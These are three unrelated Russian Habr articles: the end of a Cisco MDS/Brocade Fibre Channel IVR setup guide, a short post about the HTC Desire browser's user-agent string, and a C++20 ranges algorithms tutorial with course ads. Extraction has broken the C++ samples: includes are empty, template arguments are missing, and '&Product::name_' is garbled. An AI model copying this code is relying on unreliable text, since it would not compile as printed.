9. Так же минимум необходимо выключить Brocades Per VC Flow Control на коммутаторе HP, так как его не поддерживает cisco MDS и ISL не перейдут в состояние UP и вы будете видеть следующие события:
```
2013 Sep 26 08:24:57 mds4 %PORT-5-IF_DOWN_ELP_FAILURE_ISOLATION_UNKNOWN_FLOW_CTL_PARAM: %$VSAN 2%$ Interface fc1/4 is down (Isolation due to ELP failure: invalid flow control param)
2013 Sep 26 08:24:57 mds4 %PORT-5-IF_DOWN_ELP_FAILURE_ISOLATION_UNKNOWN_FLOW_CTL_PARAM: %$VSAN 2%$ Interface fc1/3 is down (Isolation due to ELP failure: invalid flow control param)
```
10. Выключаем Per VC Flow Control на коммутаторе HP (порты 21-22):
```
portcfgislmode 21,1
portcfgislmode 22,1
```
11. Всё, порты можно включать и через минутку уже проверять что, они в состоянии UP.
```
FC-Switch1:FID128:admin> switchshow
switchName: FC-Switch1
switchType: 66.1
switchState: Online
switchMode: Native
switchRole: Subordinate
switchDomain: 1
switchId: fffc01
switchWwn: 10:00:00:05:33:49:40:e4
zoning: ON (DC_ZONESET)
switchBeacon: OFF
FC Router: OFF
Allow XISL Use: OFF
LS Attributes: [FID: 128, Base Switch: No, Default Switch: Yes, Address Mode 0]
Index Port Address Media Speed State Proto
==============================================
0 0 010f00 id N4 Online FC F-Port 50:00:1f:e1:50:21:c5:fc
1 1 010d00 id N4 Online FC F-Port 50:00:1f:e1:50:21:c6:0d
2 2 010b00 id N4 Online FC F-Port 50:00:1f:e1:50:21:c6:09
3 3 010900 id N4 Online FC F-Port 50:00:1f:e1:50:21:c5:f8
4 4 010e00 id N8 No_Light FC Disabled (Persistent)
5 5 010c00 id N8 No_Light FC Disabled (Persistent)
6 6 010a00 id N4 Online FC F-Port 10:00:00:05:33:26:d8:77
7 7 010800 id N4 Online FC F-Port 10:00:00:05:33:48:00:56
8 8 010700 id N4 Online FC F-Port 10:00:00:05:1e:fa:fb:eb
9 9 010500 id N4 Online FC F-Port 10:00:00:05:33:26:7c:67
10 10 010300 id N4 Online FC F-Port 50:00:1f:e1:50:21:c5:fe
11 11 010100 id N4 Online FC F-Port 10:00:00:05:1e:fa:fc:40
12 12 010600 id N4 Online FC F-Port 50:00:1f:e1:50:21:c5:fa
13 13 010400 id N4 Online FC F-Port 50:01:43:80:06:34:23:5e
14 14 010200 id N4 No_Light FC
15 15 010000 id N4 No_Light FC
16 16 012700 id N4 Online FC F-Port 50:06:0e:80:16:4e:97:61
17 17 012500 id N4 Online FC F-Port 50:06:0e:80:16:4e:97:60
18 18 012300 -- N8 No_Module FC
19 19 012100 -- N8 No_Module FC
20 20 012600 id N4 No_Light FC
21 21 012400 id N4 Online FC E-Port 20:02:54:7f:ee:c1:26:61 "mds4"
22 22 012200 id N4 Online FC E-Port 20:02:54:7f:ee:c1:26:61 "mds4" (upstream)
23 23 012000 id N4 Online FC F-Port 50:01:43:80:06:34:23:8c
24 24 011f00 -- N8 No_Module FC (No POD License) Disabled
25 25 011d00 -- N8 No_Module FC (No POD License) Disabled
26 26 011b00 -- N8 No_Module FC (No POD License) Disabled
27 27 011900 -- N8 No_Module FC (No POD License) Disabled
28 28 011e00 -- N8 No_Module FC (No POD License) Disabled
29 29 011c00 -- N8 No_Module FC (No POD License) Disabled
30 30 011a00 -- N8 No_Module FC (No POD License) Disabled
31 31 011800 -- N8 No_Module FC (No POD License) Disabled
32 32 011700 -- N8 No_Module FC (No POD License) Disabled
33 33 011500 -- N8 No_Module FC (No POD License) Disabled
34 34 011300 -- N8 No_Module FC (No POD License) Disabled
35 35 011100 -- N8 No_Module FC (No POD License) Disabled
36 36 011600 -- N8 No_Module FC (No POD License) Disabled
37 37 011400 -- N8 No_Module FC (No POD License) Disabled
38 38 011200 -- N8 No_Module FC (No POD License) Disabled
39 39 011000 -- N8 No_Module FC (No POD License) Disabled
FC-Switch1:FID128:admin>
```
12. Проверяем, что с зонингом всё в порядке:
```
FC-Switch1:FID128:admin> alishow
```
##### Настройка IVR
Зачем нужен Inter VSAN Routing?
Для того, чтобы мы могли создать зону для pWWN которые находятся в разных VSAN, в нашем случае это VSAN старой и новой серверной. Напомню, что нашей целью является возможность взаимодействия узлов из двух разных фабрик.
1. Включаем IVR на коммутаторе, и на всякий случай ivr nat, включаем ivr distribution и автоматическое определение IVR топологии:
```
mds4(config)# feature ivr
mds4(config)# ivr nat
mds4(config)# ivr distribute
mds4(config)# ivr vsan-topology auto
fabric is now locked for configuration. Please 'commit' configuration when done.
```
2. Теперь после любых изменений связанных с IVR необходимо применить изменения, а после проверить их успешность:
```
mds4(config)# ivr commit
commit initiated. check ivr status
mds4(config)# sh ivr session status
Last Action Time Stamp : Sun Sep 29 06:06:01 2013
Last Action : Commit
Last Action Result : Success
Last Action Failure Reason : none
mds4(config)#
```
3. Далее всё очень просто, необходимо определить те pWWN с наших VSAN которые должны взаимодействовать. Допустим, что для теста я хочу разрешить взаимодействие между одним из хранилищ в новой серверной и сервером в старой серверной.
Адреса портов хранилища:
```
pwwn 50:06:0e:80:16:7b:d8:01
pwwn 50:06:0e:80:16:7b:d8:61
pwwn 50:06:0e:80:16:7b:d8:21
pwwn 50:06:0e:80:16:7b:d8:41
pwwn 50:06:0e:80:16:7b:d8:11
pwwn 50:06:0e:80:16:7b:d8:31
pwwn 50:06:0e:80:16:7b:d8:51
pwwn 50:06:0e:80:16:7b:d8:71
```
4. и адрес сервера:
```
pwwn 50:01:43:80:06:34:23:8c
```
5. Попробуем создать IVR зону:
```
ivr zone name Test_VSP2_ServerX
member pwwn 50:01:43:80:06:34:23:8c vsan 2
member pwwn 50:06:0e:80:16:7b:d8:01 vsan 1
member pwwn 50:06:0e:80:16:7b:d8:61 vsan 1
member pwwn 50:06:0e:80:16:7b:d8:21 vsan 1
member pwwn 50:06:0e:80:16:7b:d8:41 vsan 1
member pwwn 50:06:0e:80:16:7b:d8:11 vsan 1
member pwwn 50:06:0e:80:16:7b:d8:31 vsan 1
member pwwn 50:06:0e:80:16:7b:d8:51 vsan 1
member pwwn 50:06:0e:80:16:7b:d8:71 vsan 1
```
6. Далее создадим IVR zoneset, добавим туда нашу зону и активируем его:
```
ivr zoneset name INTERDCSET
member Test_VSP2_ServerX
ivr zoneset activate name INTERDCSET force
```
7. Но не забывайте применить изменения:
```
ivr commit
```
8. Вы можете посмотреть логи:
```
mds4# sh logging last 15
2013 Sep 26 10:37:36 mds4 %IVR-5-IVZS_WAITING_FOR_LOWEST_SWWN: Waiting for lowest switch WWN Inter-VSAN enabled switch in VSAN 1
2013 Sep 26 10:37:38 mds4 %IVR-5-IVZ_ACTIVATED_VSAN: Inter-VSAN zoneset INTERDCSET activated in VSAN 2
2013 Sep 26 10:37:51 mds4 %IVR-5-IVZS_WAITING_FOR_LOWEST_SWWN: Waiting for lowest switch WWN Inter-VSAN enabled switch in VSAN 1
2013 Sep 26 10:38:06 mds4 %IVR-5-IVZ_ACTIVATED_VSAN: Inter-VSAN zoneset INTERDCSET activated in VSAN 1
2013 Sep 26 10:38:06 mds4 %IVR-5-IVZ_ACTIVATED: Inter-VSAN zoneset INTERDCSET activated
```
9. Также вы увидите, что в zoneset для обоих VSAN появились зоны с суффиксом IVRZ:
```
mds4# sh zoneset brief active vsan 2
zoneset name DC_ZONESET vsan 2
zone EVA_serv1
output omitted…
zone IVRZ_Test_VSP2_ServerX
mds4#
mds4# sh zoneset brief active vsan 1
zoneset name Fabric_B vsan 1
zone dell_tape_libr_drive2and1_pA_dell510_10_p0
zone VSP1_1A_dell915_3_p1
output omitted…
zone IVRZ_Test_VSP2_ServerX
mds4#
```
Вот теперь, можно презентовать LU и подключать их как стореджи, и при этом хранилище и сервер будут с разных фабрик.
Надеюсь, статья кому-то поможет либо будет интересной.
Пожалуйста комментируйте и задавайте вопросы, с удовольствием отвечу. | https://habr.com/ru/post/195648/ | null | ru | null |
# Мобильник HTC Desire может сообщать о себе, что он Macintosh — и сообщает…
~~Проснувшись однажды утром после беспокойного сна, Грегор Замза обнаружил, что он у себя в постели превратился в страшное насекомое~~
Сегодня утром я наконец набрёл на мысль зайти на сайт [whatsmyuseragent.com](http://whatsmyuseragent.com/) со своего мобильного телефона HTC Desire, чтобы выяснить, какой же у его браузера идентификатор «user-agent». Приведя эту мысль в исполнение, я совершенно неожиданно увидал перед собою на экране вот какую строчку:
```
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17
```
Ошеломлённый, я застыл в изумлении почти на минуту, покуда не припомнил, что в настройках у браузера есть функция «Mobile View» (с подзаголовком «Enable mobile versions of web pages»). Эту функцию я отключил (и довольно давно), так как мобильные версии многих сайтов гораздо менее функциональны, чем предназначенные для настольных компьютеров. На время включив её, я обновил страницу и получил строку, куда ближе отражающую реальность:
```
Mozilla/5.0 (Linux; U; Android 2.2; en-ru; Desire_A8181 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
```
Кажется, это повод крепко призадуматься.
Не только сообщение о мобильности и указание «Android», но и многие прочие характеристики (операционная система, упоминаемый при ней язык, даже версия браузера) всецело переменяются после того, как отключишь режим мобильного просмотра — а меж тем отключение это бывает необычайно удобно и даже подчас необходимо. Чем больше по миру распространяются мобильники HTC (а также те другие мобильники под Android, браузеры в которых построены по этому же алгоритму), тем менее сможем все мы доверять данным статистики, собираемой по заголовкам HTTP-запросов. | https://habr.com/ru/post/112775/ | null | ru | null |
# Алгоритмы диапазонов C++20 — 11 модифицирующих операций
[](https://habr.com/ru/company/skillfactory/blog/707948/)
В предыдущей статье серии «Диапазоны» я рассмотрел основы и некоторые немодифицирующие операции. Сегодня пришло время таких алгоритмов, как `transform`, `copy`, `generate`, `shuffle` и многих других… даже `rotate`. Подробности — к [старту курса по разработке на С++](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_291222&utm_term=cat).
Прежде чем мы начнём
--------------------
Ключевые наблюдения об алгоритмах `std::ranges`:
* Алгоритмы диапазонов определяются в заголовке , а инфраструктура диапазонов и их основные типы — в заголовке .
* Обычно есть как минимум две перегрузки для алгоритмов диапазона: с парой итераторов и перегрузка с одним аргументом диапазона.
* Версия, которая возвращает поддиапазон или итератор и принимает диапазон, возвращает **заимствованный диапазон** или **заимствованный итератор**. Это помогает обнаруживать итераторы для временных диапазонов.
* Версии диапазона имеют **проекции**, что даёт больше гибкости; например, можно выполнить сортировку по некоторым выбранным элементам или перед сравнением выполнить дополнительные преобразования.
* В версии с диапазонами нет опции параллельного выполнения (нельзя передать политику выполнения`std::execution`).
* Алгоритмы диапазонов, как и стандартные алгоритмы C++20, также являются `constexpr`.
* Начиная с версии C++20, больше нет алгоритмов числовых диапазонов, соответствующих заголовку .
Примеры ниже показывают стандартный алгоритм и альтернативную версию с диапазонами. Они иллюстрируют некоторые основные концепции. Я стремился не использовать расширенную композицию диапазонов или представления. Мы рассмотрим их в порядке, указанном в [cppreference/algorithms](https://en.cppreference.com/w/cpp/algorithm).
В этой части рассмотрим некоторые алгоритмы, позволяющие изменять последовательность, такие как копирование, удаление, преобразование или создание элементов.
> Это вторая часть из серии статей про алгоритмы диапазонов. Читать:
>
> * Первая статья о [«7 немодифицирующих операциях»](https://habr.com/ru/company/skillfactory/blog/706458/)
>
>
>
>
`copy_if`
---------
У основного алгоритма `copy` много вариантов: `copy_if`, `copy_n` и даже `copy_backward`.
В простой форме `copy_if` определяется так:
```
// skipping all concept/templates declaration
constexpr copy_if_result, O>
copy\_if( R&& r, O result, Pred pred, Proj proj = {} );
```
Посмотрим на пример:
```
#include
#include
#include
#include
struct Product {
std::string name\_;
double value\_ { 0.0 };
};
std::ostream& operator<<(std::ostream& os, const Product& p) {
os << p.name\_ << ", " << p.value\_;
return os;
}
int main() {
const std::vector prods {
{ "box", 10.0 }, {"tv", 100.0}, {"rocket", 10000.0},
{ "car", 1000.0 }, {"toy", 40.0}, {"none", 0.0}
};
// standard version:
std::copy\_if(begin(prods), end(prods),
std::ostream\_iterator(std::cout, "; "),
[](const Product& p){
return !p.name\_.starts\_with("none");
});
std::cout << '\n';
// ranges version:
std::ranges::copy\_if(prods,
std::ostream\_iterator(std::cout, "; "),
[](const Product& p){
return !p.name\_.starts\_with("none");
});
}
```
Запустить [@Compiler Explorer](https://godbolt.org/z/8ovTxrer6).
В примере я копирую элементы из вектора в выходной поток. Кроме того, на этапе фильтрации я выбираю только товары не "none". Поскольку в поток копируются целые элементы, мне пришлось реализовать `operator<` для класса `Product`.
Благодаря проекциям я также мог написать такой вариант кода:
```
std::ranges::copy_if(prods,
std::ostream_iterator(std::cout, "; "),
[](const std::string& name){
return !name.starts\_with("none");
},
∏::name\_);
```
Этот код немного длиннее, но теперь предикат принимает `string`, а не весь объект `Product`.
Читать подробнее на [`ranges::copy`, `ranges::copy_if` @Cppreference](https://en.cppreference.com/w/cpp/algorithm/ranges/copy).
`fill`
------
```
#include
#include
#include
#include
struct Product {
std::string name\_;
double value\_ { 0.0 };
Product& operator=(int i) { name\_ += std::to\_string(i); return \*this; }
};
std::ostream& operator<<(std::ostream& os, const Product& p) {
os << p.name\_ << ", " << p.value\_;
return os;
}
int main() {
std::vector prods{7, {"Box ", 1.0}};
// standard version:
std::fill(begin(prods), end(prods), 4);
std::ranges::copy(prods, std::ostream\_iterator(std::cout, "; "));
std::cout << '\n';
// ranges version:
std::ranges::fill(prods, 2);
std::ranges::copy(prods, std::ostream\_iterator(std::cout, "; "));
}
```
Запустить [@Compiler Explorer](https://godbolt.org/z/vTcb4EGc7).
Алгоритм `fill` проходит по диапазону, а затем выполняет присвоение с переданным вами `value`. Тип `value` может отличаться от типа элементов в контейнере.
```
while (first != last)
*first++ = value;
```
В примере я использовал класс с пользовательским оператором преобразования, им можно воспользоваться для изменения члена данных `name_` на основе интегрального входного значения.
Читать подробнее на [`ranges::fill` @Cppreference](https://en.cppreference.com/w/cpp/algorithm/ranges/fill).
`generate`
----------
В то время как `fill()` использует одно и то же значение для присвоения всем элементам, `generate()` использует функциональный объект для генерации значения. В этом примере можно смоделировать генерацию `iota`:
```
#include
#include
#include
#include
struct Product {
std::string name\_;
double value\_ { 0.0 };
Product& operator=(int i) { name\_ += std::to\_string(i); return \*this; }
};
std::ostream& operator<<(std::ostream& os, const Product& p) {
os << p.name\_ << ", " << p.value\_;
return os;
}
int main() {
std::vector prods{7, {"Box ", 1.0}};
// standard version:
std::generate(begin(prods), end(prods), [v = 0]() mutable {
return v++;
});
std::ranges::copy(prods, std::ostream\_iterator(std::cout, "; "));
std::cout << '\n';
// ranges version:
std::ranges::generate(prods, [v = 0]() mutable {
return ++v;
});
std::ranges::copy(prods, std::ostream\_iterator(std::cout, "; "));
}
```
Запустить [@Compiler Explorer](https://godbolt.org/z/anT3zrjYe).
Вывод:
```
Box 0, 1; Box 1, 1; Box 2, 1; Box 3, 1; Box 4, 1; Box 5, 1; Box 6, 1;
Box 01, 1; Box 12, 1; Box 23, 1; Box 34, 1; Box 45, 1; Box 56, 1; Box 67, 1;
```
Читать подробнее на странице [`ranges::generate` @Cppreference](https://en.cppreference.com/w/cpp/algorithm/ranges/generate). Есть версия с `_n`: [`ranges::generate_n`](https://en.cppreference.com/w/cpp/algorithm/ranges/generate_n).
`transform`
-----------
`transform()` — надёжный алгоритм, имеющий множество вариаций.
В простой форме он выглядит так:
```
transform( R&& r, O result, F op, Proj proj = {} );
```
Он принимает диапазон `r`, а затем использует `op` для преобразования элементов из этого диапазона и вывода в `result`, который является итератором.
Вот простой пример:
```
#include
#include
#include
#include
struct Product {
std::string name\_;
double value\_ { 0.0 };
};
int main() {
std::vector prods{7, {"Box ", 1.0}};
// standard version:
std::transform(begin(prods), end(prods), begin(prods), [v = 0](const Product &p) mutable {
return Product { p.name\_ + std::to\_string(v++), 1.0};
});
for (auto &p : prods) std::cout << p.name\_ << ", ";
std::cout << '\n';
// ranges version:
std::ranges::transform(prods, begin(prods), [v = 0](const std::string &n) mutable {
return Product { n + std::to\_string(v++), 1.0};
}, ∏::name\_);
for (auto &p : prods) std::cout << p.name\_ << ", ";
}
```
Запустить [@Compiler Explorer](https://godbolt.org/z/89qMoYdb5).
Вывод:
```
Box 0, Box 1, Box 2, Box 3, Box 4, Box 5, Box 6,
Box 00, Box 11, Box 22, Box 33, Box 44, Box 55, Box 66,
```
Выше преобразуется тот же контейнер, но к каждому имени добавляются числа, сгенерированные с помощью функции.
Также есть версия, которая берет два диапазона и объединяет их с помощью бинарной операции:
```
transform( R1&& r1, R2&& r2, O result, F binary_op, Proj1 proj1 = {}, Proj2 proj2 = {} );
```
Этой версией можно воспользоваться для «объединения» двух контейнеров и получения одного значения:
```
std::vector prods{7, {"Box ", 1.0}};
std::vector numbers{1, 2, 3, 4, 5, 6, 7};
std::ranges::transform(prods, numbers, begin(prods),
[](const Product& p, int v) {
return Product { p.name\_ + std::to\_string(v), 1.0};
});
for (auto &p : prods) std::cout << p.name\_ << ", ";
```
Запустить [@Compiler Explorer](https://godbolt.org/z/Wo1WzochE).
Читать подробнее на [ranges::transform](https://en.cppreference.com/w/cpp/algorithm/ranges/transform).
`remove`
--------
В C++20 есть способ удаления и стирания элементов из различных контейнеров эффективнее. Смотрите `std::erase_if`, набор перегруженных функций для согласованного удаления контейнера. Подробности — в моей статье: [20 небольших, но удобных функций C++20 — согласованное удаление контейнеров](https://www.cppstories.com/2022/20-smaller-cpp20-features/#15-consistent-container-erasure).
Для полноты картины сравним все три версии:
```
#include
#include
#include
#include
struct Product {
std::string name\_;
double value\_ { 0.0 };
};
int main() {
const std::vector prods {
{ "box", 10.0 }, {"tv", 100.0}, {"rocket", 10000.0},
{"no prod", 0.0}, { "car", 1000.0 }, {"toy", 40.0}, {"none", 0.0}
};
auto printCont = [](const std::vector& cont) {
for (auto &p : cont) std::cout << p.name\_ << ", ";
std::cout << '\n';
};
std::cout << "removing products starting with \"no\"\n";
printCont(prods);
auto checkNoPrefix = [&](const Product& p) { return p.name\_.starts\_with("no"); };
// standard version:
auto tempProds = prods;
tempProds.erase(std::remove\_if(tempProds.begin(), tempProds.end(),
checkNoPrefix), tempProds.end());
printCont(tempProds);
// ranges version:
tempProds = prods;
tempProds.erase(std::ranges::remove\_if(tempProds, checkNoPrefix).begin(), tempProds.end());
printCont(tempProds);
// C++20 version:
tempProds = prods;
std::erase\_if(tempProds, checkNoPrefix);
printCont(tempProds);
}
```
Запустить [@Compiler Explorer](https://godbolt.org/z/4cYjP83cP).
Версия ranges сокращает этот вызов:
```
tempProds.erase(std::remove_if(tempProds.begin(), tempProds.end(),
checkNoPrefix), tempProds.end());
```
в такой:
```
tempProds.erase(std::ranges::remove_if(tempProds, checkNoPrefix).begin(), tempProds.end());
```
Но, на мой взгляд, это выглядит не намного лучше. `ranges::remove_if` возвращает поддиапазон, поэтому всё равно нужно прописать его `begin()` и, возможно, `end()`.
Гораздо проще написать так:
```
std::erase_if(tempProds, checkNoPrefix);
```
Подробности здесь: [`ranges::removeranges::remove_if` @Cppreference](https://en.cppreference.com/w/cpp/algorithm/ranges/remove), а также [`std::erase, std::erase_if (std::vector)` @Cppreference](https://en.cppreference.com/w/cpp/container/vector/erase2) (каждый контейнер имеет свою перегрузку для `std::erase`).
`replace`
---------
Как заменить элементы внутри контейнера:
```
#include
#include
#include
#include
struct Product {
std::string name\_;
double value\_ { 0.0 };
friend bool operator==(const Product& a, const Product& b) {
return a.name\_ == b.name\_ && abs(a.value\_ - b.value\_) < 0.0001;
}
};
std::ostream& operator<<(std::ostream& os, const Product& p) {
os << p.name\_ << ", " << p.value\_;
return os;
}
int main() {
std::vector prods {
{ "box", 10.0 }, {"tv", 100.0}, {"rocket", 10000.0},
{ "car", 1000.0 }, {"toy", 40.0}, {"none", 0.0},
{"invalid", 0.0}, { "invalid", -10.0 }
};
std::ostream\_iterator out\_iter(std::cout, "; ");
// standard version:
std::cout << "before: \n";
std::copy(begin(prods), end(prods), out\_iter);
std::replace(begin(prods), end(prods), Product{"none", 0.0}, Product{"default", 10.0});
std::cout << "\nafter: \n";
std::copy(begin(prods), end(prods), out\_iter);
std::cout << '\n';
// ranges version:
std::cout << "before: \n";
std::ranges::copy(prods, out\_iter);
std::ranges::replace(prods, "invalid", Product{"default", 10.0}, ∏::name\_);
std::cout << "\nafter: \n";
std::ranges::copy(prods, out\_iter);
std::cout << '\n';
}
```
Запустить [@Compiler Explorer](https://godbolt.org/z/vPP4dbGP3).
Вывод:
```
before:
box, 10; tv, 100; rocket, 10000; car, 1000; toy, 40; none, 0; invalid, 0; invalid, -10;
after:
box, 10; tv, 100; rocket, 10000; car, 1000; toy, 40; default, 10; invalid, 0; invalid, -10;
before:
box, 10; tv, 100; rocket, 10000; car, 1000; toy, 40; default, 10; invalid, 0; invalid, -10;
after:
box, 10; tv, 100; rocket, 10000; car, 1000; toy, 40; default, 10; default, 10; default, 10;
```
Интересно, что в стандартной версии значение сравнивается с объектами в контейнере:
```
for (; first != last; ++first) {
if (*first == old_value) {
*first = new_value;
}
}
```
Вот почему мне пришлось определить оператор сравнения `==` (или "космический корабль" `<=>` для большей гибкости).
Сравнение немного отличается, поэтому в версии с диапазонами можно использовать проекцию:
```
for (; first != last; ++first) {
if (old_value == std::invoke(proj, *first)) {
*first = new_value;
}
}
```
В этом примере необходимости в операторе `==` нет, ведь строки можно сравнивать напрямую. Это даёт больше гибкости, поскольку так можно найти больше недопустимых значений (значение `value_` теперь не проверяется, чтобы найти и исправить — `0.0` или `-10.0`).
Читать подробнее на [`ranges::replaceranges::replace_if` @Cppreference](https://en.cppreference.com/w/cpp/algorithm/ranges/replace).
`reverse`
---------
Попробуем вариант с reverse-копией с выводом в поток:
```
#include
#include
#include
#include
int main() {
const std::vector numbers {
"one", "two", "three", "four", "five", "six"
};
auto outStream = std::ostream\_iterator(std::cout, "; ");
// standard version:
std::copy(begin(numbers), end(numbers), outStream);
std::cout << '\n';
std::reverse\_copy(begin(numbers), end(numbers), outStream);
// ranges version:
std::cout << "\nRanges\n";
std::ranges::copy(numbers, outStream);
std::cout << '\n';
std::ranges::reverse\_copy(numbers, outStream);
}
```
Запустить [@Compiler Explorer](https://godbolt.org/z/14E5e6KGK).
Вывод:
```
one; two; three; four; five; six;
six; five; four; three; two; one;
Ranges
one; two; three; four; five; six;
six; five; four; three; two; one;
```
Как видите, работать с этой версией очень просто.
Подробности на [@Cppreference — ranges::reverse](https://en.cppreference.com/w/cpp/algorithm/ranges/reverse) и [@Cppreference — ranges::reverse\_copy](https://en.cppreference.com/w/cpp/algorithm/ranges/reverse_copy).
`rotate`
--------
На этот раз давайте поработаем со словами и попробуем развернуть их:
```
#include
#include
#include
#include
#include
int main() {
std::vector words { "hello", "in", "the",
"wonderful", "world", "of", "c++", "programming",
};
std::ostream\_iterator out(std::cout, " ");
// standard version:
std::ranges::copy(words, out);
std::cout <<'\n';
auto firstWord = words[0];
auto newPos = std::rotate(begin(words), std::next(begin(words), 1), end(words));
std::ranges::copy(words, out);
std::cout <<'\n';
std::cout << std::quoted(firstWord) << " is now at pos "
<< std::distance(begin(words), newPos) << '\n';
// ranges version:
auto helloPos = std::ranges::find(words, "hello");
if (helloPos != end(words)) {
auto firstWord = words[0];
auto ret = std::ranges::rotate(words, helloPos);
std::ranges::copy(words, out);
std::cout <<'\n';
std::cout << std::quoted(firstWord) << " is now at pos "
<< std::distance(begin(words), ret.begin()) << '\n';
}
}
```
Запустить [@Compiler Explorer](https://godbolt.org/z/jT5dfj7bo).
Пример начинается с предложения и поворачивает его так, что слово `"the"` становится первым словом. Позже в версии с диапазонами попытаемся найти первое слово исходного предложения, а затем снова сдвинуть его, чтобы добраться до начала.
Вывод:
```
hello in the wonderful world of c++ programming
in the wonderful world of c++ programming hello
"hello" is now at pos 7
hello in the wonderful world of c++ programming
"in" is now at pos 1
```
Подробности на [`ranges::rotate` @Cppreference](https://en.cppreference.com/w/cpp/algorithm/ranges/rotate).
`shuffle`
---------
Напомню, что `std::random_shuffle` объявлен устаревшим и удалён в C++17. Начиная с C++11, лучше всего использовать `std::shuffle` или `std::ranges::shuffle`, которые принимают в качестве параметра объект случайного генератора, а не полагаются на `rand()`.
Давайте посмотрим на простой пример:
```
#include
#include
#include
#include
#include
int main() {
std::vector words {
"box", "tv", "car", "bricks", "game", "ball"
};
std::mt19937 rng{std::random\_device{}()};
auto print = [](std::string\_view str, const auto& cont) {
std::cout << str << ": ";
for (const auto &w : cont)
std::cout << w << ", ";
std::cout << '\n';
};
print("before", words);
// the standard version:
std::shuffle(begin(words), end(words), rng);
print("after ", words);
// the ranges version:
// the standard version:
std::ranges::shuffle(words, rng);
print("after ", words);
}
```
Запустить [@Compiler Explorer](https://godbolt.org/z/bbMGdT15r).
Подробности на [`ranges::shuffle` @Cppreference](https://en.cppreference.com/w/cpp/algorithm/ranges/shuffle).
`sample`
--------
`std::sample` — относительно новый алгоритм, доступный с C++17. Он позволяет с равномерной вероятностью случайно выбрать `n` элементов из последовательности. Это не аналог `constexpr`. Давайте посмотрим на пример:
```
#include
#include
#include
#include
#include
struct Product {
std::string name\_;
double value\_ { 0.0 };
};
int main() {
const std::vector prods {
{ "box", 10.0 }, {"tv", 100.0}, {"ball", 30.0},
{ "car", 1000.0 }, {"toy", 40.0}, {"cake", 15.0},
{ "book", 45.0}, {"PC game", 35.0}, {"wine", 25}
};
std::mt19937 rng{std::random\_device{}()};
const size\_t firstRoundCount = 4;
const size\_t secondRoundCount = 2;
// the standard version:
std::vector selected;
std::sample(begin(prods), end(prods),
std::back\_inserter(selected),
firstRoundCount, rng);
std::cout << firstRoundCount << " selected products: \n";
for (const auto &elem : selected)
std::cout << elem.name\_ << '\n';
// the ranges version:
std::vector onlyTwo;
std::ranges::sample(selected,
std::back\_inserter(onlyTwo),
secondRoundCount, rng);
std::cout << secondRoundCount << " winners: \n";
for (const auto &elem : onlyTwo)
std::cout << elem.name\_ << '\n';
}
```
Запустить [@Compiler Explorer](https://godbolt.org/z/Wjnxc9jjd).
Читать подробнее на [`ranges::sample` @Cppreference](https://en.cppreference.com/w/cpp/algorithm/ranges/sample).
`unique`
--------
Алгоритм `unique()` позволяет очистить последовательную группу эквивалентных элементов. Например, из `{1, 1, 5, 5, 2, 2, 3, 3, 4, 4, 5, 5}` вы можете удалить все дубликаты и получить `{1 , 5, 2, 3, 4, 5}`. Обратите внимание, что не все `5` были удалены, а только те, что были в той же «группе».
Давайте посмотрим на следующий пример, где я удаляю дубликаты слов:
```
#include
#include
#include
#include
struct Product {
std::string name\_;
double value\_ { 0.0 };
};
int main() {
std::vector prods {
{ "box", 20.0}, {"box", 10.0 }, {"toy", 35.0},
{ "box", 10.0 }, {"tv", 100.0}, {"tv", 30.0},
{ "car", 1000.0 }, {"box", 0.0}, {"toy", 40.0}, {"cake", 15.0},
};
auto print = [](std::string\_view str, const std::vector& cont) {
std::cout << str << ": ";
for (const auto &p : cont)
std::cout << p.name\_ << ", ";
std::cout << '\n';
};
print("before: ", prods);
auto ret = std::ranges::unique(prods, {}, ∏::name\_);
prods.erase(ret.begin(), ret.end());
print("after unique: ", prods);
std::ranges::sort(prods, {}, ∏::name\_);
print("after sort: ", prods);
ret = std::ranges::unique(prods, {}, ∏::name\_);
prods.erase(ret.begin(), ret.end());
print("another unique:", prods);
}
```
Запустить [@Compiler Explorer](https://godbolt.org/z/3hPqhTYcf).
Вывод:
```
before: : box, box, toy, box, tv, tv, car, box, toy, cake,
after unique: : box, toy, box, tv, car, box, toy, cake,
after sort: : box, box, box, cake, car, toy, toy, tv,
another unique:: box, cake, car, toy, tv,
```
Как видите, этот пример не охватывает стандартную версию, а фокусируется только на `ranges::unique`.
После первого запуска `unique()` вектор `prods` модифицируется таким образом, что удаляемые элементы передаются в конец контейнера. Более того, они имеют неопределённое значение. Вот почему я использовал `erase`, чтобы удалить эти элементы из контейнера. Объект `ret` содержит поддиапазон, указывающий на первый «удалённый» элемент и конец входного диапазона.
После первой «итерации» все еще есть некоторые повторяющиеся элементы, но они не принадлежат одной и той же «группе». Чтобы исправить это, можно отсортировать элементы (я использую проекцию, чтобы смотреть только на элемент данных `name_`). После сортировки элементов можно подчистить остальные дубликаты. Конечно, сортировку можно сделать перед всей очисткой.
Подробности на [`ranges::unique` @Cppreference](https://en.cppreference.com/w/cpp/algorithm/ranges/unique).
Заключение
----------
Как видите, с помощью версий с диапазонами можно упростить код и передать всю последовательность, весь контейнер. Во многих случаях это делает код куда более читаемым.
Научим вас аккуратно работать с данными, чтобы вы прокачали карьеру и стали востребованным IT-специалистом.
[](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_291222&utm_term=banner)
* [Профессия Fullstack-разработчик на Python (16 месяцев)](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_291222&utm_term=conc)
* [Профессия Data Scientist (24 месяца)](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_291222&utm_term=conc)
**Краткий каталог курсов**
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_291222&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_291222&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_291222&utm_term=cat)
